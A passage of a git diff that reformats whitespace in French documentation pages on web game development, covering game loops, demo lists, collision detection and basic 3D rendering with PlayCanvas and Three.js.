extrapolation (purement cosmétique pour des systèmes rapides). La scène est dessinée. * * update() calcule l'état du jeu comme point donné dans le temps. Ça devrait toujours être - incrémenté par tickLength. C'est l'autorité de l'état du jeu. On lui passe le - DOMHighResTimeStamp pour le temps que cela représente (qui, à nouveau, est toujours + incrémenté par tickLength. C'est l'autorité de l'état du jeu. On lui passe le + DOMHighResTimeStamp pour le temps que cela représente (qui, à nouveau, est toujours la dernière mise à jour + MyGame.tickLength qu'une pause ne soit ajoutée, etc.) * * setInitialState() réalise n'importe quel tâche mise de côté avant que la boucle principale ne doive tourner. @@ -283,21 +283,21 @@ _Note: Cet exemple spécifiquement, aurait besoin d'une relecture._ main(performance.now()); // Débute le cycle })(); -Une autre alternative est de simplement faire certaines choses moins souvent. Si une portion de votre boucle de mise à jour est difficile à calculer et intense (en temps), vous devrier considérer réduire sa fréquence et, idéalement, la diviser en portions à travers une période plus allongée. Un exemple implicite de cela est rencontré dans "The Artillery Blog for Artillery Games", où ils [ajustent leur taux de création de miettes](http://blog.artillery.com/2012/10/browser-garbage-collection-and-framerate.html) pour optimiser leur ramasse-miettes. Apparemment, le nettoyage des ressources n'est pas sensible au temps (spécialement si le nettoyage est plus dérangeant que le la miette elle-même). +Une autre alternative est de simplement faire certaines choses moins souvent. Si une portion de votre boucle de mise à jour est difficile à calculer et intense (en temps), vous devrier considérer réduire sa fréquence et, idéalement, la diviser en portions à travers une période plus allongée. Un exemple implicite de cela est rencontré dans "The Artillery Blog for Artillery Games", où ils [ajustent leur taux de création de miettes](http://blog.artillery.com/2012/10/browser-garbage-collection-and-framerate.html) pour optimiser leur ramasse-miettes. Apparemment, le nettoyage des ressources n'est pas sensible au temps (spécialement si le nettoyage est plus dérangeant que le la miette elle-même). Cela peut aussi s'appliquer à vos propres tâches. Elles sont de bonnes candidates pour en générer quand les ressources disponibles deviennent un problème. ## Sommaire -J'aimerai être clair que rien de ce qu'il y a ci-dessus, ou rien de cela, ne puisse être ce qu'il y a de mieux pour votre jeu. La décision correcte dépend entièrement des compromis que vous êtes prêts (ou pas) à faire. La préocupation est principalement de permuter vers une autre option. Heureusement, je n'en ai pas l'expérience mais j'ai entendu dire que c'est un jeu de cache-cache exténuant. +J'aimerai être clair que rien de ce qu'il y a ci-dessus, ou rien de cela, ne puisse être ce qu'il y a de mieux pour votre jeu. La décision correcte dépend entièrement des compromis que vous êtes prêts (ou pas) à faire. La préocupation est principalement de permuter vers une autre option. Heureusement, je n'en ai pas l'expérience mais j'ai entendu dire que c'est un jeu de cache-cache exténuant. -Une chose importante à retenir pour les plateformes gérées, telles que le web, est que votre boucle pourrait arrêter son éxécution pour une période de temps significative. Cela pourrait arriver quand l'utilisateur déselectionne votre onglet et que le navigateur tombe en veille (ou ralenti) son interval de retour `requestAnimationFrame`. Vous avez plusieurs façons de gérer cela et cela peut dépendre de votre jeu, s'il est pour un seul joueur ou multijoueurs. Certains des choix sont: +Une chose importante à retenir pour les plateformes gérées, telles que le web, est que votre boucle pourrait arrêter son éxécution pour une période de temps significative. Cela pourrait arriver quand l'utilisateur déselectionne votre onglet et que le navigateur tombe en veille (ou ralenti) son interval de retour `requestAnimationFrame`. Vous avez plusieurs façons de gérer cela et cela peut dépendre de votre jeu, s'il est pour un seul joueur ou multijoueurs. Certains des choix sont: -- Considérer le écart comme "une pause" et ne pas prendre en compte le temps. +- Considérer le écart comme "une pause" et ne pas prendre en compte le temps. - Vous pouvez probablement voir comment cela peut être problématique pour la plupart des jeux multijoueurs. -- Vous pouvez stimuler l'écart pour faire du rattrapage. +- Vous pouvez stimuler l'écart pour faire du rattrapage. - Cela peut être un problème pour de longues pauses et/ou des mises à jour complexes. @@ -305,4 +305,4 @@ Une chose importante à retenir pour les plateformes gérées, telles que le web - Ceci n'est pas efficace si votre pair ou le serveur sont périmés eux-aussi, ou s'ils n'existent pas car le jeu en mode un seul joueur n'existe pas et n'a pas de serveur. -Une fois que votre boucle principale a été développée et que vous avez pris vos décisions sur un lot d'hypothèses et de compromis qui conviendront à votre jeu, cela devient juste une question d'utilisation de vos décisions pour calculer n'importe quelle physique applicable, intelligence artificielle, sons, synchronisation réseau, et quoique votre jeu ai besoin. +Une fois que votre boucle principale a été développée et que vous avez pris vos décisions sur un lot d'hypothèses et de compromis qui conviendront à votre jeu, cela devient juste une question d'utilisation de vos décisions pour calculer n'importe quelle physique applicable, intelligence artificielle, sons, synchronisation réseau, et quoique votre jeu ai besoin. diff --git a/files/fr/games/examples/index.md b/files/fr/games/examples/index.md index a25682538b..05d90cf1da 100644 --- a/files/fr/games/examples/index.md +++ b/files/fr/games/examples/index.md @@ -9,9 +9,9 @@ tags: translation_of: Games/Examples original_slug: Jeux/Exemples --- -{{GamesSidebar}} {{IncludeSubnav("/fr/docs/Jeux")}} +{{GamesSidebar}} {{IncludeSubnav("/fr/docs/Jeux")}} -Cette page liste un grand nombre de démos de technologies web impressionnantes vous permettant de vous inspirer et de vous amuser. Une preuve de ce qui peut être fait avec Javascript, WebGL et autres. Les deux premières sections listent des jeux tandis que la troisième est une liste de démos de technologies web. +Cette page liste un grand nombre de démos de technologies web impressionnantes vous permettant de vous inspirer et de vous amuser. Une preuve de ce qui peut être fait avec Javascript, WebGL et autres. Les deux premières sections listent des jeux tandis que la troisième est une liste de démos de technologies web. ## Démos/Jeux gratuits @@ -20,11 +20,11 @@ Cette page liste un grand nombre de démos de technologies web impressionnantes - [Beloola](http://www.beloola.com) - : Plateforme sociale de réalité virtuelle web pour les passionnés. Expérience disponible à la fois sur écrans 2D et casques de réalité virtuelle (_Paramètres / Passer en mode VR_) - [Tanx](http://playcanv.as/p/aP0oxhUr) - - : Un jeu de combat de tanks multijoueurs, créé avec [PlayCanvas](https://playcanvas.com/). + - : Un jeu de combat de tanks multijoueurs, créé avec [PlayCanvas](https://playcanvas.com/). - [Hyper Vanguard Force](https://robertsspaceindustries.com/comm-link/transmission/14704-Hyper-Vanguard-Force) - : Un "space shooter" _(tireur de l'espace)_ à défilement vertical. - [Swooop](http://playcanv.as/p/JtL2iqIH) - - : Un jeu d'aviation : contrôle ton avion et récupère les joyaux. Aussi créé avec [PlayCanvas](https://playcanvas.com/). + - : Un jeu d'aviation : contrôle ton avion et récupère les joyaux. Aussi créé avec [PlayCanvas](https://playcanvas.com/). - [Save the Day](https://ga.me/games/save-the-day) - : Volez à bord de votre hélicoptère de sauvetage vers la zone sinistrée et sauvez les victimes coincées (ga.me). - [Polycraft](https://ga.me/games/polycraft) @@ -32,9 +32,9 @@ Cette page liste un grand nombre de démos de technologies web impressionnantes - [HexGL](http://hexgl.bkcore.com/) - : Un jeu de course futuriste rythmé. - [Dead Trigger 2](http://beta.unity3d.com/jonas/DT2/) - - : Un jeu d'action avec des zombies, créé avec [Unity3D](http://unity3d.com/). + - : Un jeu d'action avec des zombies, créé avec [Unity3D](http://unity3d.com/). - [Angry Bots](http://beta.unity3d.com/jonas/AngryBots/) - - : Une démo de jeu de tir futuriste à la 3ème personne, créé avec [Unity3D](http://unity3d.com/). + - : Une démo de jeu de tir futuriste à la 3ème personne, créé avec [Unity3D](http://unity3d.com/). - [Nutmeg](http://sandbox.photonstorm.com/html5/nutmeg/) - : Jeu de plateforme action rétro. - [Back to Candyland](http://www.zibbo.com/game/match-3-games-top/back-to-candyland-episode-1) @@ -62,7 +62,7 @@ Cette page liste un grand nombre de démos de technologies web impressionnantes - [BrowserQuest](http://browserquest.mozilla.org/) - : Un MMORPG crée par the Little Workshop et Mozilla. - [Shoot The Rocks](https://arcade.ly/games/asteroids/) - - : Un jeu de tir solo 2D Canvas, dans le style des classiques Asteroids d' Atari, jeux d' arcade depuis 1979. + - : Un jeu de tir solo 2D Canvas, dans le style des classiques Asteroids d' Atari, jeux d' arcade depuis 1979. - [Star Citadel](https://arcade.ly/games/starcastle/) - : Une nouvelle version de Star Castle, le classique jeu d'arcade 1980 de Cinematronics, construit avec Canvas 2D. @@ -102,9 +102,9 @@ Cette page liste un grand nombre de démos de technologies web impressionnantes - [Rainbow Firestorm](http://codepen.io/jackrugile/pen/AokpF) - : Des particules de couleur arc-en-ciel, tombant comme de la pluie, rebondissent sur un terrain d'orbes. - [Crowd Simulation](http://visualiser.fr/babylon/crowd/) - - : Simulation d'une foule de personnes agitées voulant rejoindre des directions opposées. + - : Simulation d'une foule de personnes agitées voulant rejoindre des directions opposées. - [SVG Masking Experiment](http://codepen.io/noeldelgado/pen/ByxQjL) - - : Une machine à rayons X, créée en utilisant un calque SVG. + - : Une machine à rayons X, créée en utilisant un calque SVG. - [Realistic Water Simulation](https://www.shadertoy.com/view/Ms2SD1) - : De l'eau en mouvement, comme les vagues d'un océan. - [Dungeon demo](http://www.haxor.xyz/demos/1.0/dungeon/) @@ -114,7 +114,7 @@ Cette page liste un grand nombre de démos de technologies web impressionnantes - [Flight Stream](https://callumprentice.github.io/apps/flight_stream/index.html) - : Globe en 3D avec des itinéraires d'avions simulés. - [WebGL filters](http://pixelscommander.com/polygon/htmlgl/demo/filters.html) - - : Démo montrant comment WebGL peut être utilisé pour ajouter des effets à des éléments HTML. + - : Démo montrant comment WebGL peut être utilisé pour ajouter des effets à des éléments HTML. - [SVG isometic tiles](http://codepen.io/AshKyd/pen/zxmgzV) - : Génère des tuiles isométriques avec une matrice SVG. - [ThreeJS App Player](https://jsfiddle.net/jetienne/rkth90c9/) diff --git a/files/fr/games/introduction/index.md b/files/fr/games/introduction/index.md index ab1da728d2..34ec1c9de6 100644 --- a/files/fr/games/introduction/index.md +++ b/files/fr/games/introduction/index.md @@ -13,7 +13,7 @@ original_slug: Jeux/Introduction {{IncludeSubnav("/fr/docs/Jeux")}} -Le Web d'aujourd'hui est désormais une plate-forme viable pour créer des jeux époustouflants et de bonne qualité, mais aussi et surtout pour distribuer ces jeux. Imaginez tous les jeux qui peuvent être créés... +Le Web d'aujourd'hui est désormais une plate-forme viable pour créer des jeux époustouflants et de bonne qualité, mais aussi et surtout pour distribuer ces jeux. Imaginez tous les jeux qui peuvent être créés... Grâce aux technologies web actuelles et aux navigateurs récents, il est tout à fait possible de créer un jeu excellent pour le Web. Et nous ne parlons pas ici de jeux de cartes ou de jeux sociaux multi-joueurs déjà créés il y a longtemps, avec Flash®, mais bien de jeux de tirs en 3D, de RPG etc. Grâce aux améliorations des performances des compilateurs juste-à-temps [JavaScript](/fr/docs/JavaScript "/fr/docs/JavaScript") et aux nouvelles APIs, vous pouvez construire des jeux vidéo qui fonctionnent dans un navigateur (ou sur des plateformes HTML5 comme [Firefox OS](/fr/docs/Mozilla/Firefox_OS "/fr/docs/Mozilla/Firefox_OS")) sans compromettre les performances. @@ -41,7 +41,7 @@ En tant que développeur de jeux vidéo, que vous soyez seul ou fassiez partie d 1. La portée du Web est phénoménale : il est partout. Les jeux construits avec HTML5 peuvent fonctionner sur les smartphones, les tablettes, les PCs et les télévisions connectées. 2. La visibilité de votre jeu et le marketing en sont améliorés. En effet, la promotion de votre jeu n'est pas limitée à un "app store" _(magasin d'applications)_ maîtrisé par quelqu'un d'autre. Vous pouvez tout à fait promouvoir et faire la publicité de votre jeu sur le Web lui-même comme sur d'autres médias. Les liens, les partages effectués sur le Web sont autant d'avantages pour atteindre de nouveaux utilisateurs. -3. Vous disposez d'un contrôle à un endroit important : les paiements. Il n'est pas nécessaire pour vous de reverser 30% de vos revenus à d'autres simplement parce que votre jeu fait partie de leur écosystème. Vous pouvez décider de votre propre politique tarifaire et utiliser le service de paiement que vous voulez. +3. Vous disposez d'un contrôle à un endroit important : les paiements. Il n'est pas nécessaire pour vous de reverser 30% de vos revenus à d'autres simplement parce que votre jeu fait partie de leur écosystème. Vous pouvez décider de votre propre politique tarifaire et utiliser le service de paiement que vous voulez. 4. Le contrôle, encore. Vous pouvez mettre à jour votre jeu dès que vous le souhaitez. Vous n'avez pas à attendre l'approbation de quelqu'un d'une autre entreprise décidant si oui ou non tel ou tel correctif sera livré aujourd'hui ou demain. 5. L'analytique. Plutôt que de vous reposer sur des décisions et influences externes quant aux données dont vous avez besoin, vous pouvez collecter les statistiques que vous voulez, ou bien utiliser un outil analytique tiers de votre choix afin de mesurer les ventes et la portée de votre jeu. 6. Vous pouvez gérer la relation clientèle de façon plus directe, sans que les retours des clients soient limités aux mécanismes d'un magasin d'application. Soyez directement au contact de vos clients, sans intermédiaire. diff --git a/files/fr/games/introduction_to_html5_game_development/index.md b/files/fr/games/introduction_to_html5_game_development/index.md index 4c42097aa4..5b9c3b69e6 100644 --- a/files/fr/games/introduction_to_html5_game_development/index.md +++ b/files/fr/games/introduction_to_html5_game_development/index.md @@ -26,11 +26,11 @@ original_slug: Jeux/Introduction_to_HTML5_Game_Gevelopment_(summary) | **Fonction** | Technologie | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Audio** | [Web Audio API](/fr/docs/Web/API/Web_Audio_API) | -| **Graphique** | [WebGL](/fr/docs/Web/API/WebGL_API) ([OpenGL ES](http://www.khronos.org/opengles/ "http://www.khronos.org/opengles/") 2.0) | +| **Graphique** | [WebGL](/fr/docs/Web/API/WebGL_API) ([OpenGL ES](http://www.khronos.org/opengles/ "http://www.khronos.org/opengles/") 2.0) | | **Input** | [Événements tactiles](/fr/docs/Web/Guide/DOM/Events/Touch_events), [Utiliser l'API Gamepad](/fr/docs/Web/Guide/API/Gamepad), capteurs de l'appareil , [L'API WebRTC](/fr/docs/Web/API/WebRTC_API), [Utiliser le mode plein écran](/fr/docs/Web/Guide/DOM/Using_full_screen_mode), [Pointer Lock API](/fr/docs/WebAPI/Pointer_Lock) | -| **Language** | [JavaScript](/fr/docs/JavaScript "/fr/docs/JavaScript") (ou C/C++ utilisant [Emscripten](https://github.com/kripken/emscripten/wiki "https://github.com/kripken/emscripten/wiki") pour compiler en JavaScript ) | +| **Language** | [JavaScript](/fr/docs/JavaScript "/fr/docs/JavaScript") (ou C/C++ utilisant [Emscripten](https://github.com/kripken/emscripten/wiki "https://github.com/kripken/emscripten/wiki") pour compiler en JavaScript ) | | **Networking** | [WebRTC](/fr/docs/WebRTC "/fr/docs/WebRTC") et/ou [WebSockets](/fr/docs/Web/API/WebSockets_API) | -| **Stockage** | [IndexedDB](/fr/docs/Web/API/API_IndexedDB) ou le "cloud" | +| **Stockage** | [IndexedDB](/fr/docs/Web/API/API_IndexedDB) ou le "cloud" | | **Web** | [HTML](/fr/docs/Web/HTML), [CSS](/fr/docs/Web/CSS), [SVG](/fr/docs/Web/SVG), [Social API](/fr/docs/Social_API "/fr/docs/Social_API") ( et beaucoup plus! ) | - [API plein écran](/fr/docs/DOM/Using_fullscreen_mode "/fr/docs/DOM/Using_fullscreen_mode") diff --git a/files/fr/games/techniques/2d_collision_detection/index.md b/files/fr/games/techniques/2d_collision_detection/index.md index 2cdee32e6a..38f2b5d916 100644 --- a/files/fr/games/techniques/2d_collision_detection/index.md +++ b/files/fr/games/techniques/2d_collision_detection/index.md @@ -13,7 +13,7 @@ translation_of: Games/Techniques/2D_collision_detection {{IncludeSubnav("/fr/docs/Jeux")}} -Les algorithmes de détection de collisions dans les jeux en 2 dimensions dépendent de la forme des objets à détecter (par exemple : rectangle contre rectangle, cercle contre rectangle, cercle contre cercle…). Habituellement, il est préférable d’utiliser une forme générique appelée masque de collision (« *hitbox* ») qui couvrira l’entité. Ainsi, les collisions ne seront pas assurées au pixel près mais cela permettra d’avoir de bonnes performances pour un grand nombre d’entités à tester. +Les algorithmes de détection de collisions dans les jeux en 2 dimensions dépendent de la forme des objets à détecter (par exemple : rectangle contre rectangle, cercle contre rectangle, cercle contre cercle…). Habituellement, il est préférable d’utiliser une forme générique appelée masque de collision (« *hitbox* ») qui couvrira l’entité. Ainsi, les collisions ne seront pas assurées au pixel près mais cela permettra d’avoir de bonnes performances pour un grand nombre d’entités à tester. Cet article donne un résumé des techniques les plus utilisées pour la détection des collisions dans les jeux en deux dimensions. @@ -26,9 +26,9 @@ var rect1 = {x: 5, y: 5, width: 50, height: 50} var rect2 = {x: 20, y: 10, width: 10, height: 10} if (rect1.x < rect2.x + rect2.width && - rect1.x + rect1.width > rect2.x && - rect1.y < rect2.y + rect2.height && - rect1.height + rect1.y > rect2.y) { + rect1.x + rect1.width > rect2.x && + rect1.y < rect2.y + rect2.height && + rect1.height + rect1.y > rect2.y) { // collision détectée ! } @@ -67,25 +67,25 @@ if (distance < circle1.radius + circle2.radius) { Cet algorithme permet de détecter une collision entre deux polygones _convexes_. Cet algorithme est plus compliqué à implémenter que les deux précédents mais il est bien plus puissant. La complexité d’un tel algorithme induit de prendre en considération l’optimisation des performances (voir section suivante). -L’implémentation de cet algorithme est hors de propos sur cette page, nous vous conseillons les articles suivants : +L’implémentation de cet algorithme est hors de propos sur cette page, nous vous conseillons les articles suivants : -1. [Separating Axis Theorem (SAT) explanation](http://www.sevenson.com.au/actionscript/sat/) ; -2. [(Anglais) Collision detection and response (en)](http://www.metanetsoftware.com/technique/tutorialA.html) ; -3. [Collision detection Using the Separating Axis Theorem (en)](http://gamedevelopment.tutsplus.com/tutorials/collision-detection-using-the-separating-axis-theorem--gamedev-169) ; -4. [SAT (Separating Axis Theorem) (en)](http://www.codezealot.org/archives/55) ; +1. [Separating Axis Theorem (SAT) explanation](http://www.sevenson.com.au/actionscript/sat/) ; +2. [(Anglais) Collision detection and response (en)](http://www.metanetsoftware.com/technique/tutorialA.html) ; +3. [Collision detection Using the Separating Axis Theorem (en)](http://gamedevelopment.tutsplus.com/tutorials/collision-detection-using-the-separating-axis-theorem--gamedev-169) ; +4. [SAT (Separating Axis Theorem) (en)](http://www.codezealot.org/archives/55) ; 5. [Separation of Axis Theorem (SAT) for Collision Detection (en)](http://rocketmandevelopment.com/blog/separation-of-axis-theorem-for-collision-detection/). ## Performances -Alors que la plupart de ces algorithmes de détection de collision sont très simples à calculer, cela peut être une perte de ressources de tester _chaque entité_ avec les autres entités. Habituellement les jeux découpent les collisions en deux phases : large (« *broad* ») et étroite (« *narrow* »). +Alors que la plupart de ces algorithmes de détection de collision sont très simples à calculer, cela peut être une perte de ressources de tester _chaque entité_ avec les autres entités. Habituellement les jeux découpent les collisions en deux phases : large (« *broad* ») et étroite (« *narrow* »). ### Phase large -La phase large sert à récupérer une liste d’entités qui _pourraient_ entrer en collision. Cela peut être facilement implémenté avec une structure de données spaciale qui vous donnera une meilleure idée d’où est situé chaque entité et de ce qui existe autour d’elle. Par exemple : +La phase large sert à récupérer une liste d’entités qui _pourraient_ entrer en collision. Cela peut être facilement implémenté avec une structure de données spaciale qui vous donnera une meilleure idée d’où est situé chaque entité et de ce qui existe autour d’elle. Par exemple : -- Les _Quad Trees_ (exemple : [JavaScript QuadTree Implementation (en)](http://blogs.adobe.com/digitalmedia/2011/03/javascript-quadtree-implementation/)) ; -- Les _R-Trees_ (voir [R-Tree sur Wikipedia.org (en)](http://en.wikipedia.org/wiki/R-tree)) ; -- Une « *hashmap* ». +- Les _Quad Trees_ (exemple : [JavaScript QuadTree Implementation (en)](http://blogs.adobe.com/digitalmedia/2011/03/javascript-quadtree-implementation/)) ; +- Les _R-Trees_ (voir [R-Tree sur Wikipedia.org (en)](http://en.wikipedia.org/wiki/R-tree)) ; +- Une « *hashmap* ». ### Phase étroite diff --git a/files/fr/games/techniques/3d_on_the_web/basic_theory/index.md b/files/fr/games/techniques/3d_on_the_web/basic_theory/index.md index e4074f5f75..609a2a98b6 100644 --- a/files/fr/games/techniques/3d_on_the_web/basic_theory/index.md +++ b/files/fr/games/techniques/3d_on_the_web/basic_theory/index.md @@ -23,22 +23,22 @@ La 3D est principalement basée sur la représentation de formes 3D dans l'espac  -WebGL utilise le système de coordonnées de droite — l'axe x pointe vers la droite, l'axe y vers le haut et l'axe z dans la profondeur, comme shématisé ci-dessus. +WebGL utilise le système de coordonnées de droite — l'axe x pointe vers la droite, l'axe y vers le haut et l'axe z dans la profondeur, comme shématisé ci-dessus. ## Objets -Differents types d'objets sont construits en utilisant les sommets. Un Sommet (Vertex) est un point dans l'espace ayant sa propre position 3D dans le système de coordonnées et souvent quelques informations supplémentaires qui le définissent. Chaque sommet est décrit par ces attributs : +Differents types d'objets sont construits en utilisant les sommets. Un Sommet (Vertex) est un point dans l'espace ayant sa propre position 3D dans le système de coordonnées et souvent quelques informations supplémentaires qui le définissent. Chaque sommet est décrit par ces attributs : -- **Position** : L'identifie dans un espace 3D (`x`, `y`, `z`). -- **Color** (Couleur) : Prend une valeur RVBA (R, V et B pour le Rouge, Vert et Bleu, A (alpha) pour l'opacité — toutes les valeurs comprises entre 0.0 et 1.0) -- **Normal :** Une manière de décrire la direction à laquelle fait face le sommet. +- **Position** : L'identifie dans un espace 3D (`x`, `y`, `z`). +- **Color** (Couleur) : Prend une valeur RVBA (R, V et B pour le Rouge, Vert et Bleu, A (alpha) pour l'opacité — toutes les valeurs comprises entre 0.0 et 1.0) +- **Normal :** Une manière de décrire la direction à laquelle fait face le sommet. - **Texture** : Une image 2D que le sommet peut utiliser pour décorer la surface dont il fait partie à la place d'une simple couleur. -Vous pouvez faire de la géométrie en utilisant ces informations — voici l'exemple d'un cube : +Vous pouvez faire de la géométrie en utilisant ces informations — voici l'exemple d'un cube :  -Une face de la forme donnée est un plan entre des sommets. Par exemple, un cube a 8 différents sommets (points dans l'espace) et 6 différentes faces, chacune construite à partir de 4 sommets. Une norme définit de quelle manière la face est orientée. De plus, en connectant les points, on crée les arêtes du cube.La géométrie est basée sur les sommets et les faces, où le matériau est une texture, utilisant une couleur ou une image. Si l'on connecte la géométrie avec le matériau, on obtient une maille (mesh) +Une face de la forme donnée est un plan entre des sommets. Par exemple, un cube a 8 différents sommets (points dans l'espace) et 6 différentes faces, chacune construite à partir de 4 sommets. Une norme définit de quelle manière la face est orientée. De plus, en connectant les points, on crée les arêtes du cube.La géométrie est basée sur les sommets et les faces, où le matériau est une texture, utilisant une couleur ou une image. Si l'on connecte la géométrie avec le matériau, on obtient une maille (mesh) ## Rendu des tuyaux (_pipeline_) @@ -48,11 +48,11 @@ Le rendu des tuyaux est un procédé avec lequel les images sont préparées et Terminologie utilisée dans le diagramme ci-dessus : -- Une **Primitive** : Une source pour le tuyau — construite à partir de sommets et peut être un triangle, un point ou une ligne. -- Un **Fragment** : Une projection 3D d'un pixel, qui a les mêmes attributs qu'un pixel. -- Un **Pixel** : Un point sur l'écran arrangé sur une grille 2D, qui prend une couleur RVBA. +- Une **Primitive** : Une source pour le tuyau — construite à partir de sommets et peut être un triangle, un point ou une ligne. +- Un **Fragment** : Une projection 3D d'un pixel, qui a les mêmes attributs qu'un pixel. +- Un **Pixel** : Un point sur l'écran arrangé sur une grille 2D, qui prend une couleur RVBA. -Le traitement des sommets et des fragments est programmable — vous pouvez [écrire vos propres shaders](/fr/docs/Games/Techniques/3D_on_the_web/GLSL_Shaders) qui manipulent le rendu. +Le traitement des sommets et des fragments est programmable — vous pouvez [écrire vos propres shaders](/fr/docs/Games/Techniques/3D_on_the_web/GLSL_Shaders) qui manipulent le rendu. ## Traitement de sommet @@ -60,11 +60,11 @@ Le traitement de sommet consiste à combiner les informations à propos de chaqu  -Il y a 4 étapes dans ce traitement : la première implique d'arranger les objets dans le monde, elle est appelée la **transformation du modèle**. Ensuite, il y a la **transformation de la vue**, qui prend soin de positionner et de régler l'orientation de la caméra dans l'espace 3D. La caméra a 3 paramètres — position, direction et orientation — qui doivent être définis pour la scène nouvellement créée. +Il y a 4 étapes dans ce traitement : la première implique d'arranger les objets dans le monde, elle est appelée la **transformation du modèle**. Ensuite, il y a la **transformation de la vue**, qui prend soin de positionner et de régler l'orientation de la caméra dans l'espace 3D. La caméra a 3 paramètres — position, direction et orientation — qui doivent être définis pour la scène nouvellement créée.  -La **transformation de la projection** (aussi appelée transformation de la perspective) définit ensuite les réglages de la caméra. Elle définit ce qui peut être vu par la caméra — la configuration inclut le champ de vision, le ratio d'aspect, et éventuellement les plans proches et éloignés. Lisez le [paragraphe sur la Caméra](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js#Camera) dans l'article de Three.js pour en savoir plus. +La **transformation de la projection** (aussi appelée transformation de la perspective) définit ensuite les réglages de la caméra. Elle définit ce qui peut être vu par la caméra — la configuration inclut le champ de vision, le ratio d'aspect, et éventuellement les plans proches et éloignés. Lisez le [paragraphe sur la Caméra](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js#Camera) dans l'article de Three.js pour en savoir plus.  @@ -76,7 +76,7 @@ La rastérisation convertit les primitives (des sommets reliés) à un ensemble  -Ces fragments — qui sont des projections 3D de pixels 2D — sont alignés sur la grille de pixels, donc éventuellement ils peuvent être affichés comme des pixels sur un écran 2D durant la phase de fusion du résultat. +Ces fragments — qui sont des projections 3D de pixels 2D — sont alignés sur la grille de pixels, donc éventuellement ils peuvent être affichés comme des pixels sur un écran 2D durant la phase de fusion du résultat. ## Traitement de fragment @@ -86,13 +86,13 @@ Le traitement de fragment se concentre sur les textures et les lumières — il ### Textures -Les textures sont des images 2D utilisées dans l'espace 3D pour faire que les objets rendent mieux et paraissent plus réalistes. Les textures sont combinées à partir de simples éléments de texture appelés texels, de la même manière que les images sont combinées à partir de pixels. Appliquer des textures sur des objets durant le traitement des fragments, vous permet de l'ajuster en lui donnant une enveloppe ou des filtres si nécessaire. +Les textures sont des images 2D utilisées dans l'espace 3D pour faire que les objets rendent mieux et paraissent plus réalistes. Les textures sont combinées à partir de simples éléments de texture appelés texels, de la même manière que les images sont combinées à partir de pixels. Appliquer des textures sur des objets durant le traitement des fragments, vous permet de l'ajuster en lui donnant une enveloppe ou des filtres si nécessaire. L'habillage de texture permet de répéter l'image 2D autour de l'objet 3D. Le filtrage de texture est appliqué lorsque la résolution d'origine ou l'image de texture est différente du fragment affiché — elle sera réduite ou agrandie en conséquence. ### Lumières -Les couleurs que nous voyons sur l'écran sont le résultat d'une source de lumière intéragissant avec la couleur à la surface des matériaux des objets. La lumière peut être absorbée ou réfléchie. Le **modèle de lumière Phong** standard implémenté dans WebGL a 4 types de base de lumière : +Les couleurs que nous voyons sur l'écran sont le résultat d'une source de lumière intéragissant avec la couleur à la surface des matériaux des objets. La lumière peut être absorbée ou réfléchie. Le **modèle de lumière Phong** standard implémenté dans WebGL a 4 types de base de lumière : - **Diffuse** _(diffusion)_ : Une lumière directionnelle distante, comme le Soleil. - **Specular** _(Particulier)_ : Un point de lumière, comme un bulle de lumière dans une pièce ou un flash. diff --git a/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_playcanvas/index.md b/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_playcanvas/index.md index 588289c009..3143678cee 100644 --- a/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_playcanvas/index.md +++ b/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_playcanvas/index.md @@ -23,7 +23,7 @@ translation_of: Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Pla PlayCanvas a publié quelques démos populaires présentant ses fonctionnalités. - [Tanx](http://playcanv.as/p/aP0oxhUr) est un jeu de char multijoueur dans lequel vous pouvez conduire votre char, en tirant sur d'autres joueurs au fur et à mesure. -- [Swooop](http://playcanv.as/p/JtL2iqIH) est un jeu de vol où vous pilotez votre avion autour d'une île magique tout en collectant des bijoux et du carburant. +- [Swooop](http://playcanv.as/p/JtL2iqIH) est un jeu de vol où vous pilotez votre avion autour d'une île magique tout en collectant des bijoux et du carburant. - Des visualisations comme the [Star Lord](http://playcanv.as/b/FQbBsJTd) et [BMW i8](http://playcanv.as/p/RqJJ9oU9) mettent également en valeur les possibilités du moteur.  @@ -38,7 +38,7 @@ Le moteur peut lui même être utilisé comme une bibliotheque standard en inclu Conçu pour les navigateurs modernes, PlayCanvas est un moteur de jeu 3D complet intégrant le chargement de ressources, un système d'entité et de composants, une manipulation avancée des graphismes, un moteur de collision et de physique (conçu avec [ammo.js](https://github.com/kripken/ammo.js/)), la gestion du son et des simplifications pour la gestion des entrées de nombreux dispositifs (y compris les manettes de jeu). C'est une liste assez impressionnante de sonctionnalités — observez-en quelques-unes en action en consultant la rubrique [Conception d'une démo de base avec PlayCanvas](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas/engine) pour plus de détails. -## Éditeur PlayCanvas +## Éditeur PlayCanvas Au lieu de tout coder à parir de zéro, vous pouvez également utiliser l'éditeur en ligne. Cela peut être un environnement de travail plus agréable si vous n'êtes pas très orienté codage. Voici la [construction d'une démo de base avec l'éditeur de PlayCanvas](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas/editor) pour plus de détails. diff --git a/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.md b/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.md index 9cca38137f..44d4b8acce 100644 --- a/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.md +++ b/files/fr/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.md @@ -5,7 +5,7 @@ translation_of: Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Thr --- {{GamesSidebar}} -Une scène 3D dans un jeu - même la plus simple - contient des éléments standard comme des formes situées dans un système de coordonnées, une caméra pour les voir réellement, des lumières et des matériaux pour amelioré son esthétique, des animations pour la rendre vivante, etc. **Three.js**, comme avec toute autre bibliothèque 3D, fournit des fonctions d'assistance intégrées pour vous aider à implémenter plus rapidement les fonctionnalités 3D courantes. Dans cet article, nous vous expliquerons les bases de l'utilisation de Three, notamment la configuration d'un environnement de développement, la structuration du code HTML nécessaire, les objets fondamentaux 